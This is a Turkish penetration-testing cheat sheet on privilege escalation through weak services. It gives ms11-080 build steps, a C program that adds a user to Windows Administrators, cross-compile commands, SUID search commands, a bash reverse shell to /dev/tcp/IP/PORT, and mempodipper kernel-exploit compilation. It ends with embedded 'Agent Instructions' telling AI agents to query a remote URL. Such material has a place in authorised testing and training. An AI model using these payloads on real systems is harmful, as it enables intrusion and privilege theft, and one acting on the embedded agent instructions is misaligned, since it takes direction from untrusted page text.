# Zayıf Servisler

## Windows

### Seneryo 1

**ms11-080** exploiti indiridikten sonra .exe formatına dönüştürmek için aşağıdaki kod kullanılmalıdır. Elde edilen exe dosyası hedef makinede çalıştırıldıktan sonra SYSTEM haklarına ulaşmış olur.

```
# python pyinstaller.py --onefile ms11-080.py
```

### Simple Command

```
win> move source dest
win> copy source dest
```

3\. parti uygulamaların kurulduklarında beraberinde servisleri de sisteme yüklenir. Yüklenilen 3. parti bir uygulamanın servisine "services.msc" üzerinden ulaşılabilir. Çalışan servisin ".exe" dosyası bulunduktan sonra bu dosyayı çalıştırmaya hak ve yetkisi olan kullanıcıları listelemek için aşağıdaki komut kullanılmalıdır.

```
win> icacls.exe <exe_name.exe>
```

Yukarıdaki komut sonucunda ilgili exe üzerinde hak ve yetkileri olan kullanıcılar listenir. Bu kullanıcılar arasında oturum elde edilmiş düşük hak ve yetkideki kullanıcı olmasına dikkat edilir. Ayrıca "Everyone" kullanıcı var ise buna ait yetkilere de bakılmalıdır. Elde edilen çıktıda parantez içerisinde yer alan bazı kısaltmaların açıklamaları aşağıdadır.

> &#x20;F : Full Access \
> &#x20;D : Delete \
> &#x20;R : Read \
> &#x20;W : Write <br>

```c
#include <stdlib.h>

int main(){
    int i;
    i = system ("net localgroup Administrators lowpriv /add");
    return 0;
}
```

> yukarıda yer alan komutu linuxda windows platformuna uygun derlemek için `# i586-mingw32msvc-gcc exploit.c -o exploit.exe` veya `# i686-w64-mingw32-gcc exploit.c -o exploit.exe` olarak derlenir.
>
> > Eğer hata alınırsa;\
> > `i686-w64-mingw32-gcc afd.sys.c -o afdsys.exe -m32 -lws2_32` komutuyla derleme işlemi yapılabilir.

## Linux

### Find SUID Bits

```
# find / -perm -u=s -type f 2>/dev/null
# find directory -user root -perm -4000 -exec ls -ldb {} \; >/tmp/filename  
# find / -perm -2 ! -type l -ls 2 > /dev/null (List writable file)
```

```
#Find SUID
find / -perm -u=s -type f 2>/dev/null

#Find GUID
find / -perm -g=s -type f 2>/dev/null
```

Bash Reverse Shell

```
# bash -i >& /dev/tcp/IP/PORT 0>&1
```

Kernel Exploit

```
# mempodipper - Linux root exploit >=2.6.39 x64 and x86
# gcc exploit.c -o exploit
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://security.musana.net/zayif-servisler.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
